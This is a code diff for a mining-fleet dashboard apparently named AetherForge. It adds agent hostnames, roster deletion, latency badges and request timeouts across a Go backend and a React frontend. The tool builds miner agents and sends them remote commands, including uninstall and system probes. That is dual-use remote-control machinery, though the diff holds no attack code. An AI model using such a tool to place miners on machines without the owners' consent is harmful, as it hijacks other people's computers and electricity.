&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds, &a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname,
) )
if err != nil { if err != nil {
return nil, err return nil, err
@@ -52,7 +52,7 @@ func (d *Database) scanAgent(row interface {
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version` cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error { func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id) _, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -124,6 +124,7 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
return nil return nil
} }
@@ -131,8 +132,8 @@ func (d *Database) migrate() error {
// Agent operations // Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error { func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version) query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET ON CONFLICT(id) DO UPDATE SET
name = excluded.name, name = excluded.name,
wallet = excluded.wallet, wallet = excluded.wallet,
@@ -144,8 +145,9 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
last_seen = excluded.last_seen, last_seen = excluded.last_seen,
platform = excluded.platform, platform = excluded.platform,
arch = excluded.arch, arch = excluded.arch,
os_version = excluded.os_version` os_version = excluded.os_version,
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion) hostname = excluded.hostname`
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname)
return err return err
} }
@@ -165,6 +167,11 @@ func (d *Database) SetAgentOffline(id string) error {
return err return err
} }
func (d *Database) DeleteAgent(id string) error {
_, err := d.Exec("DELETE FROM agents WHERE id = ?", id)
return err
}
func (d *Database) GetAgent(id string) (*models.Agent, error) { func (d *Database) GetAgent(id string) (*models.Agent, error) {
query := `SELECT ` + agentSelectCols + ` FROM agents WHERE id = ?` query := `SELECT ` + agentSelectCols + ` FROM agents WHERE id = ?`
return d.scanAgent(d.QueryRow(query, id)) return d.scanAgent(d.QueryRow(query, id))

View File

@@ -31,6 +31,10 @@ type Agent struct {
Platform string `json:"platform,omitempty"` Platform string `json:"platform,omitempty"`
Arch string `json:"arch,omitempty"` Arch string `json:"arch,omitempty"`
OSVersion string `json:"os_version,omitempty"` OSVersion string `json:"os_version,omitempty"`
Hostname string `json:"hostname,omitempty"`
// Live connection quality — not persisted, set by WSHub each stats cycle.
LatencyMs *int `json:"latency_ms,omitempty"`
Capabilities *AgentCapabilities `json:"capabilities,omitempty"` Capabilities *AgentCapabilities `json:"capabilities,omitempty"`

View File

@@ -202,16 +202,19 @@ func main() {
HashrateDropPct: cfg.Alerts.HashrateDropThresholdPct, HashrateDropPct: cfg.Alerts.HashrateDropThresholdPct,
RejectionRatePct: cfg.Alerts.RejectionRateThresholdPct, RejectionRatePct: cfg.Alerts.RejectionRateThresholdPct,
} }
}, alerts.NotifyConfig{ }, func() alerts.NotifyConfig {
TelegramBotToken: cfg.Alerts.TelegramBotToken, // Read live from cfg so Calibrate changes take effect without restart.
TelegramChatID: cfg.Alerts.TelegramChatID, return alerts.NotifyConfig{
EmailEnabled: cfg.Alerts.EmailEnabled, TelegramBotToken: cfg.Alerts.TelegramBotToken,
SMTPHost: cfg.Alerts.SMTPHost, TelegramChatID: cfg.Alerts.TelegramChatID,
SMTPPort: cfg.Alerts.SMTPPort, EmailEnabled: cfg.Alerts.EmailEnabled,
SMTPUser: cfg.Alerts.SMTPUser, SMTPHost: cfg.Alerts.SMTPHost,
SMTPPassword: cfg.Alerts.SMTPPassword, SMTPPort: cfg.Alerts.SMTPPort,
EmailTo: cfg.Alerts.EmailTo, SMTPUser: cfg.Alerts.SMTPUser,
EmailFrom: cfg.Alerts.EmailFrom, SMTPPassword: cfg.Alerts.SMTPPassword,
EmailTo: cfg.Alerts.EmailTo,
EmailFrom: cfg.Alerts.EmailFrom,
}
}, func(ev alerts.AlertEvent) { }, func(ev alerts.AlertEvent) {
wsHub.BroadcastFleetAlert(ev) wsHub.BroadcastFleetAlert(ev)
}) })

View File

@@ -6,21 +6,31 @@ const API_BASE = '/api/v1';
// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally // Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth. // omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.
async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> { async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 10000): Promise<T> {
const { headers: extraHeaders, ...rest } = options ?? {}; const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal };
const res = await fetch(`${API_BASE}${url}`, { const controller = new AbortController();
...rest, const timer = setTimeout(() => controller.abort(), timeoutMs);
headers: { if (callerSignal) {
'Content-Type': 'application/json', callerSignal.addEventListener('abort', () => controller.abort());
...authHeaders(), }
...(extraHeaders as Record<string, string> | undefined), try {
}, const res = await fetch(`${API_BASE}${url}`, {
}); ...rest,
if (!res.ok) { signal: controller.signal,
const err = await res.text(); headers: {
throw new Error(`API error ${res.status}: ${err}`); 'Content-Type': 'application/json',
...authHeaders(),
...(extraHeaders as Record<string, string> | undefined),
},
});
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json();
} finally {
clearTimeout(timer);
} }
return res.json();
} }
export const api = { export const api = {
@@ -154,6 +164,15 @@ export const api = {
body: JSON.stringify({ agent_ids: agentIds, action }), body: JSON.stringify({ agent_ids: agentIds, action }),
}), }),
deleteAgent: (id: string) =>
fetchJSON<{ success: boolean }>(`/agents/${id}`, { method: 'DELETE' }),
bulkDeleteAgents: (ids: string[]) =>
fetchJSON<{ success: boolean; deleted: number }>('/agents/bulk-delete', {
method: 'POST',
body: JSON.stringify({ ids }),
}),
createUser: (username: string, password: string) => createUser: (username: string, password: string) =>
fetchJSON<{ success: boolean }>('/users', { fetchJSON<{ success: boolean }>('/users', {
method: 'POST', method: 'POST',

View File

@@ -2,6 +2,17 @@ import AgentRemoteActions from './AgentRemoteActions';
import { formatHashrate, formatUptime } from '../../help/fleetFilters'; import { formatHashrate, formatUptime } from '../../help/fleetFilters';
import type { Agent } from '../../types'; import type { Agent } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext'; import type { SeqCommandResult } from '../../context/WebSocketContext';
import LatencyBadge from './LatencyBadge';
function formatRelTime(iso: string): string {
const diff = Date.now() - new Date(iso).getTime();
const mins = Math.floor(diff / 60000);
if (mins < 2) return 'just now';
if (mins < 60) return `${mins}m ago`;
const hrs = Math.floor(mins / 60);
if (hrs < 24) return `${hrs}h ago`;
return `${Math.floor(hrs / 24)}d ago`;
}
interface Props { interface Props {
agent: Agent; agent: Agent;
@@ -64,7 +75,10 @@ export default function AgentListItem({
</span> </span>
)} )}
</div> </div>
<span className={`status-badge ${agent.status}`}>{agent.status}</span> <div style={{ display: 'flex', alignItems: 'center', gap: '0.4rem' }}>
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
<LatencyBadge ms={agent.status === 'online' ? agent.latency_ms : undefined} />
</div>
</div> </div>
{(agent.tags?.length ?? 0) > 0 && ( {(agent.tags?.length ?? 0) > 0 && (
@@ -78,7 +92,12 @@ export default function AgentListItem({
<div className="agent-list-details"> <div className="agent-list-details">
<span>{formatHashrate(agent.hashrate_15m)}</span> <span>{formatHashrate(agent.hashrate_15m)}</span>
<span>{agent.ip || '—'}</span> <span>{agent.ip || '—'}</span>
{!expanded && <span className="form-hint">click for details</span>} {agent.status !== 'online' && agent.last_seen && (
<span className="form-hint" title={new Date(agent.last_seen).toLocaleString()}>
last seen {formatRelTime(agent.last_seen)}
</span>
)}
{!expanded && agent.status === 'online' && <span className="form-hint">click for details</span>}
</div> </div>
{!expanded && agent.notes?.trim() && ( {!expanded && agent.notes?.trim() && (

View File

@@ -96,7 +96,16 @@ export default function FleetToolbar({
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button> <button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button> <button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button> <button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle miners</button> <button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
<button
type="button"
className="btn btn-sm"
disabled={bulkBusy}
style={{ background: 'rgba(255,40,40,0.15)', border: '1px solid #ff4444', color: '#ff6666' }}
onClick={() => onBulkAction('delete')}
>
🗑 Delete selected
</button>
</div> </div>
)} )}
</div> </div>

View File

@@ -0,0 +1,83 @@
/**
* LatencyBadge — 4-bar cell-signal style indicator for WebSocket RTT.
*
* Bar fill thresholds:
* 4 bars (green) : < 50 ms — excellent
* 3 bars (cyan) : < 150 ms — good
* 2 bars (amber) : < 400 ms — fair
* 1 bar (red) : ≥ 400 ms — poor
* 0 bars (grey) : no data — waiting for first pong
*/
interface Props {
ms?: number;
/** Compact variant — bars only, no ms label */
compact?: boolean;
}
function latencyLevel(ms: number): 0 | 1 | 2 | 3 | 4 {
if (ms < 50) return 4;
if (ms < 150) return 3;
if (ms < 400) return 2;
return 1;
}
const LEVEL_COLORS: Record<number, string> = {
4: '#39ff14', // neon green
3: '#00f5ff', // cyan
2: '#ffb020', // amber
1: '#ff4466', // red
0: '#444', // grey
};
const BAR_HEIGHTS = [5, 8, 11, 14]; // px, bottom-aligned
export default function LatencyBadge({ ms, compact = false }: Props) {
const level = ms !== undefined ? latencyLevel(ms) : 0;
const color = LEVEL_COLORS[level];
const label = ms !== undefined ? `${ms}ms` : '—';
return (
<span
title={ms !== undefined ? `Latency: ${ms} ms` : 'Latency unknown — waiting for ping'}
style={{
display: 'inline-flex',
alignItems: 'flex-end',
gap: '2px',
verticalAlign: 'middle',
lineHeight: 1,
}}
>
{BAR_HEIGHTS.map((h, i) => {
const filled = (i + 1) <= level;
return (
<span
key={i}
style={{
display: 'inline-block',
width: 3,
height: h,
borderRadius: 1,
background: filled ? color : 'rgba(255,255,255,0.12)',
transition: 'background 0.4s ease',
}}
/>
);
})}
{!compact && ms !== undefined && (
<span
style={{
fontSize: '0.7rem',
fontFamily: 'monospace',
color,
marginLeft: 3,
lineHeight: 1,
letterSpacing: '-0.02em',
}}
>
{label}
</span>
)}
</span>
);
}

View File

@@ -18,8 +18,6 @@ interface PoolPresetPickerProps {
pass: string; pass: string;
backups?: BackupPool[]; backups?: BackupPool[];
onChange: (next: PoolForgeFields) => void; onChange: (next: PoolForgeFields) => void;
/** Show manual host/port fields below presets (Forge advanced). */
showManualFields?: boolean;
} }
export default function PoolPresetPicker({ export default function PoolPresetPicker({
@@ -29,7 +27,6 @@ export default function PoolPresetPicker({
pass, pass,
backups = [], backups = [],
onChange, onChange,
showManualFields = false,
}: PoolPresetPickerProps) { }: PoolPresetPickerProps) {
const [selectedIds, setSelectedIds] = useState<string[]>(() => { const [selectedIds, setSelectedIds] = useState<string[]>(() => {
const detected = detectPresetIds(host, port, tls, backups); const detected = detectPresetIds(host, port, tls, backups);
@@ -185,60 +182,6 @@ export default function PoolPresetPicker({
</div> </div>
)} )}
{showManualFields && (
<div className="pool-preset-manual form-row">
<div className="form-group">
<label className="label">Pool Host</label>
<input
type="text"
className="input mono"
value={host}
onChange={(e) =>
onChange({
pool_host: e.target.value,
pool_port: port,
pool_tls: tls,
backup_pools: backups,
})
}
/>
</div>
<div className="form-group">
<label className="label">Port</label>
<input
type="number"
className="input"
min={1}
max={65535}
value={port}
onChange={(e) =>
onChange({
pool_host: host,
pool_port: e.target.valueAsNumber || 3333,
pool_tls: tls,
backup_pools: backups,
})
}
/>
</div>
<label className="checkbox-label" style={{ alignSelf: 'flex-end' }}>
<input
type="checkbox"
className="checkbox"
checked={tls}
onChange={(e) =>
onChange({
pool_host: host,
pool_port: port,
pool_tls: e.target.checked,
backup_pools: backups,
})
}
/>
<span>TLS</span>
</label>
</div>
)}
</div> </div>
); );
} }

View File

@@ -57,9 +57,6 @@ export default function SessionGate({ children }: { children: ReactNode }) {
<form className="session-gate-card card" onSubmit={handleLogin}> <form className="session-gate-card card" onSubmit={handleLogin}>
<h1 className="font-display">AetherForge</h1> <h1 className="font-display">AetherForge</h1>
<p className="form-hint">Sign in to open the command deck.</p> <p className="form-hint">Sign in to open the command deck.</p>
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
First run: password is in the LAUNCH console or <code className="mono-sm">data\login-credentials.json</code> next to the server data folder.
</p>
<label className="label" htmlFor="session-user">Username</label> <label className="label" htmlFor="session-user">Username</label>
<input id="session-user" className="input" value={user} onChange={(e) => setUser(e.target.value)} autoComplete="username" /> <input id="session-user" className="input" value={user} onChange={(e) => setUser(e.target.value)} autoComplete="username" />
<label className="label" htmlFor="session-pass">Password</label> <label className="label" htmlFor="session-pass">Password</label>

View File

@@ -105,6 +105,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
); );
break; break;
} }
case 'agent_deleted': {
const { agent_id } = msg.payload as { agent_id: string };
setAgents((prev) => prev.filter((a) => a.id !== agent_id));
break;
}
case 'stats_update': { case 'stats_update': {
const update = msg.payload as WSStatsUpdate; const update = msg.payload as WSStatsUpdate;
setAgents((prev) => setAgents((prev) =>
@@ -152,6 +157,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}), ...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}), ...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
...(update.services !== undefined ? { services: update.services } : {}), ...(update.services !== undefined ? { services: update.services } : {}),
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
} }
: a : a
) )

View File

@@ -2,6 +2,7 @@ import { useState, useEffect, useMemo, useCallback, useRef } from 'react';
import { api } from '../api/client'; import { api } from '../api/client';
import { useWebSocket } from '../hooks/useWebSocket'; import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, HashrateSample, ServerInfo } from '../types'; import type { Agent, HashrateSample, ServerInfo } from '../types';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import HashrateChart from '../components/Charts/HashrateChart'; import HashrateChart from '../components/Charts/HashrateChart';
import NeonCard from '../components/NeonCard/NeonCard'; import NeonCard from '../components/NeonCard/NeonCard';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions'; import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
@@ -139,9 +140,19 @@ export default function AgentsPage() {
} }
}, [selectedAgent?.id, agentLogs]); }, [selectedAgent?.id, agentLogs]);
// Sort: online first, then by last_seen desc, then alphabetical
const sortedAgents = useMemo(() => [...agents].sort((a, b) => {
if (a.status === 'online' && b.status !== 'online') return -1;
if (a.status !== 'online' && b.status === 'online') return 1;
const ta = a.last_seen ? new Date(a.last_seen).getTime() : 0;
const tb = b.last_seen ? new Date(b.last_seen).getTime() : 0;
if (tb !== ta) return tb - ta;
return a.name.localeCompare(b.name);
}), [agents]);
const filteredAgents = useMemo( const filteredAgents = useMemo(
() => filterFleetAgents(agents, filters), () => filterFleetAgents(sortedAgents, filters),
[agents, filters] [sortedAgents, filters]
); );
const refreshLog = async (refresh = false) => { const refreshLog = async (refresh = false) => {
@@ -199,10 +210,60 @@ export default function AgentsPage() {
}); });
}, []); }, []);
const handleDeleteAgent = async (agentId: string) => {
if (!window.confirm('Remove this machine from the fleet roster? This cannot be undone.')) return;
try {
await api.deleteAgent(agentId);
setAgents((prev) => prev.filter((a) => a.id !== agentId));
if (selectedAgent?.id === agentId) setSelectedAgent(null);
setSelectedIds((prev) => { const next = new Set(prev); next.delete(agentId); return next; });
} catch (err) {
alert(err instanceof Error ? err.message : 'Delete failed');
}
};
const handleUninstallAndDelete = async (agent: Agent) => {
const label = agent.status === 'online'
? `Uninstall the miner from "${agent.name}" and remove it from the roster?`
: `"${agent.name}" is offline — it cannot be remotely uninstalled. Remove from roster only?`;
if (!window.confirm(label)) return;
if (agent.status === 'online') {
try {
await api.sendAgentCommand(agent.id, 'uninstall', {});
} catch {
// Non-fatal — proceed to delete the record regardless
}
}
try {
await api.deleteAgent(agent.id);
setAgents((prev) => prev.filter((a) => a.id !== agent.id));
if (selectedAgent?.id === agent.id) setSelectedAgent(null);
setSelectedIds((prev) => { const next = new Set(prev); next.delete(agent.id); return next; });
} catch (err) {
alert(err instanceof Error ? err.message : 'Delete failed');
}
};
const handleBulkAction = async (action: string) => { const handleBulkAction = async (action: string) => {
const ids = [...selectedIds]; const ids = [...selectedIds];
if (ids.length === 0) return; if (ids.length === 0) return;
if (action === 'delete') {
if (!window.confirm(`Permanently remove ${ids.length} machine(s) from the fleet roster?`)) return;
setBulkBusy(true);
try {
await api.bulkDeleteAgents(ids);
setAgents((prev) => prev.filter((a) => !ids.includes(a.id)));
if (selectedAgent && ids.includes(selectedAgent.id)) setSelectedAgent(null);
setSelectedIds(new Set());
} catch (err) {
alert(err instanceof Error ? err.message : 'Bulk delete failed');
} finally {
setBulkBusy(false);
}
return;
}
let targetIds = ids; let targetIds = ids;
if (action === 'restart_idle') { if (action === 'restart_idle') {
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id); targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
@@ -323,16 +384,57 @@ export default function AgentsPage() {
value={tagsDraft} value={tagsDraft}
onChange={(e) => setTagsDraft(e.target.value)} onChange={(e) => setTagsDraft(e.target.value)}
/> />
<button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}> <div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
{metaSaving ? 'Saving…' : 'Save notes & tags'} <button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}>
</button> {metaSaving ? 'Saving…' : 'Save notes & tags'}
</button>
{selectedAgent.status === 'online' && (
<button
type="button"
className="btn btn-sm"
style={{ background: 'rgba(255,100,0,0.15)', border: '1px solid #ff8844', color: '#ffaa66' }}
onClick={() => void handleUninstallAndDelete(selectedAgent)}
title="Send uninstall command to agent, then remove from roster"
>
Uninstall + Delete
</button>
)}
<button
type="button"
className="btn btn-sm"
style={{ background: 'rgba(255,40,40,0.15)', border: '1px solid #ff4444', color: '#ff6666' }}
onClick={() => void handleDeleteAgent(selectedAgent.id)}
title="Remove this machine from the fleet roster permanently"
>
🗑 Delete from Roster
</button>
</div>
{metaMsg && <span className="form-hint">{metaMsg}</span>} {metaMsg && <span className="form-hint">{metaMsg}</span>}
</div> </div>
<div className="agent-detail-grid"> <div className="agent-detail-grid">
<div className="detail-item"> <div className="detail-item">
<span className="detail-label">Status</span> <span className="detail-label">Status</span>
<span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span> <span style={{ display: 'flex', alignItems: 'center', gap: '0.5rem' }}>
<span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span>
{selectedAgent.status === 'online' && (
<LatencyBadge ms={selectedAgent.latency_ms} />
)}
</span>
</div>
{selectedAgent.hostname && selectedAgent.hostname !== selectedAgent.name && (
<div className="detail-item">
<span className="detail-label">Hostname</span>
<span className="detail-value mono">{selectedAgent.hostname}</span>
</div>
)}
<div className="detail-item">
<span className="detail-label">Last Seen</span>
<span className="detail-value" title={selectedAgent.last_seen}>
{selectedAgent.last_seen
? new Date(selectedAgent.last_seen).toLocaleString()
: '—'}
</span>
</div> </div>
<div className="detail-item"> <div className="detail-item">
<span className="detail-label">Wallet</span> <span className="detail-label">Wallet</span>

View File

@@ -217,9 +217,7 @@
font-family: 'Courier New', monospace; font-family: 'Courier New', monospace;
font-size: 0.7rem; font-size: 0.7rem;
color: #b8e0d0; color: #b8e0d0;
overflow: hidden; word-break: break-all;
text-overflow: ellipsis;
white-space: nowrap;
min-width: 0; min-width: 0;
} }

View File

@@ -300,23 +300,22 @@ export default function BuildManagerPage() {
const loadBuilds = useCallback(async () => { const loadBuilds = useCallback(async () => {
try { try {
const [list, info] = await Promise.all([ const list = await api.listBuilds();
api.listBuilds(),
api.getServerInfo().catch(() => null),
]);
setBuilds(list); setBuilds(list);
if (info) {
const pub = info.suggested_url?.replace(/\/$/, '') || window.location.origin;
setServerBase(pub);
} else {
setServerBase(window.location.origin);
}
setError(''); setError('');
} catch (e) { } catch (e) {
setError(e instanceof Error ? e.message : 'Failed to load builds'); setError(e instanceof Error ? e.message : 'Failed to load builds');
} finally { } finally {
setLoading(false); setLoading(false);
} }
// Load server base URL separately so a slow/hung server-info call
// never blocks the builds list from rendering.
api.getServerInfo()
.then((info) => {
const pub = info?.suggested_url?.trim().replace(/\/$/, '');
if (pub) setServerBase(pub);
})
.catch(() => {/* use window.location.origin fallback already set */});
}, []); }, []);
useEffect(() => { loadBuilds(); }, [loadBuilds]); useEffect(() => { loadBuilds(); }, [loadBuilds]);

View File

@@ -207,18 +207,26 @@ export default function BuilderPage() {
const fileInputRef = useRef<HTMLInputElement>(null); const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => { useEffect(() => {
Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])]) Promise.all([
api.getConfig(),
api.getServerInfo().catch(() => null),
api.listBuilds().catch(() => []),
])
.then(([config, info, builds]) => { .then(([config, info, builds]) => {
setCalibrateConfig(config); setCalibrateConfig(config);
setServerInfo(info); if (info) {
setListenPort(config.port || info.port || 8989); setServerInfo(info);
const candidates = lanEndpointCandidates(info, config.port || info.port); setListenPort(config.port || info.port || 8989);
const base = defaultsFromConfig(config, info, builds); } else {
setForm(applySmartForgeDefaults(base, { builds, endpointCandidates: candidates })); setListenPort(config.port || 8989);
}
const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : [];
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, builds as BuildRecord[]);
setForm(applySmartForgeDefaults(base, { builds: builds as BuildRecord[], endpointCandidates: candidates }));
}) })
.catch((err) => { .catch((err) => {
console.error(err); console.error(err);
setError('Failed to load server info — is the control server running?'); setError('Failed to load server config — is the control server running?');
}) })
.finally(() => setLoadingDefaults(false)); .finally(() => setLoadingDefaults(false));
}, []); }, []);
@@ -1096,7 +1104,6 @@ export default function BuilderPage() {
tls={form.pool_tls} tls={form.pool_tls}
pass={form.pool_pass || 'x'} pass={form.pool_pass || 'x'}
backups={form.backup_pools} backups={form.backup_pools}
showManualFields={!simpleMode}
onChange={(next) => { onChange={(next) => {
updateField('pool_host', next.pool_host); updateField('pool_host', next.pool_host);
updateField('pool_port', next.pool_port); updateField('pool_port', next.pool_port);

View File

@@ -3,6 +3,7 @@ import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client'; import { api } from '../api/client';
import type { Agent, AgentService } from '../types'; import type { Agent, AgentService } from '../types';
import NeonCard from '../components/NeonCard/NeonCard'; import NeonCard from '../components/NeonCard/NeonCard';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import { formatHashrate } from '../help/fleetFilters'; import { formatHashrate } from '../help/fleetFilters';
import './CruciblePage.css'; import './CruciblePage.css';
@@ -18,6 +19,8 @@ interface TermLine {
text: string; text: string;
ts: Date; ts: Date;
success?: boolean; success?: boolean;
// Whether this agent was in the active selection when the command was dispatched
targeted?: boolean;
// Structured data for rich terminal renderers // Structured data for rich terminal renderers
richData?: RichTermData; richData?: RichTermData;
} }
@@ -314,6 +317,15 @@ export default function CruciblePage() {
const online = (a: Agent) => a.status === 'online'; const online = (a: Agent) => a.status === 'online';
// Prune selectedIds when agents are removed (e.g. after roster delete).
useEffect(() => {
const liveIds = new Set(agents.map((a) => a.id));
setSelectedIds((prev) => {
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
return pruned.size === prev.size ? prev : pruned;
});
}, [agents]);
// ── Auto-scroll terminal ─────────────────────────────────────────────── // ── Auto-scroll terminal ───────────────────────────────────────────────
useEffect(() => { useEffect(() => {
@@ -377,23 +389,22 @@ export default function CruciblePage() {
} catch { /* malformed JSON — fall through to plain text */ } } catch { /* malformed JSON — fall through to plain text */ }
} }
if (selectedIds.size > 0 && !selectedIds.has(aid)) continue;
const agent = agents.find((a) => a.id === aid); const agent = agents.find((a) => a.id === aid);
const name = agent?.name ?? aid.slice(0, 8); const name = agent?.name ?? aid.slice(0, 8);
const targeted = selectedIds.size === 0 || selectedIds.has(aid);
if (richData) { if (richData) {
// Single rich-rendered line (table/block replaces raw JSON)
lines.push({ lines.push({
id: mkId(), agentId: aid, agentName: name, id: mkId(), agentId: aid, agentName: name,
isCmd: false, text: '', ts: new Date(), isCmd: false, text: '', ts: new Date(),
success: r.success, richData, success: r.success, richData, targeted,
}); });
} else { } else {
const msgLines = msg.split('\n').filter(Boolean); const msgLines = msg.split('\n').filter(Boolean);
for (const line of msgLines) { for (const line of msgLines) {
lines.push({ lines.push({
id: mkId(), agentId: aid, agentName: name, id: mkId(), agentId: aid, agentName: name,
isCmd: false, text: line, ts: new Date(), success: r.success, isCmd: false, text: line, ts: new Date(), success: r.success, targeted,
}); });
} }
} }
@@ -503,19 +514,16 @@ export default function CruciblePage() {
const probePosture = (targets?: Agent[]) => { const probePosture = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online); const tgts = targets ?? selectedAgents.filter(online);
if (tgts.length === 0) { alert('No online agents selected.'); return; }
Promise.all( Promise.all(
tgts.map((a) => tgts.map((a) =>
api.sendAgentCommand(a.id, 'posture').catch((err) => { api.sendAgentCommand(a.id, 'posture').catch((err) => {
setTermLines((prev) => [ setTermLines((prev) => [
...prev, ...prev,
{ {
id: mkId(), id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
agentId: a.id,
agentName: a.name,
isCmd: false,
text: `[ERROR] posture probe: ${err instanceof Error ? err.message : String(err)}`, text: `[ERROR] posture probe: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0,
success: false,
}, },
]); ]);
}) })
@@ -523,10 +531,13 @@ export default function CruciblePage() {
); );
}; };
// Fires posture + listen_ports + patch_status in parallel for all selected online nodes. // Fires posture + listen_ports + patch_status in parallel.
// When agents are selected, targets only selection. Otherwise targets all online.
const scanSelected = (targets?: Agent[]) => { const scanSelected = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online); const tgts = targets ?? (selectedAgents.filter(online).length > 0
if (tgts.length === 0) return; ? selectedAgents.filter(online)
: agents.filter(online));
if (tgts.length === 0) { alert('No online agents available.'); return; }
const cmds = ['posture', 'listen_ports', 'patch_status'] as const; const cmds = ['posture', 'listen_ports', 'patch_status'] as const;
for (const a of tgts) { for (const a of tgts) {
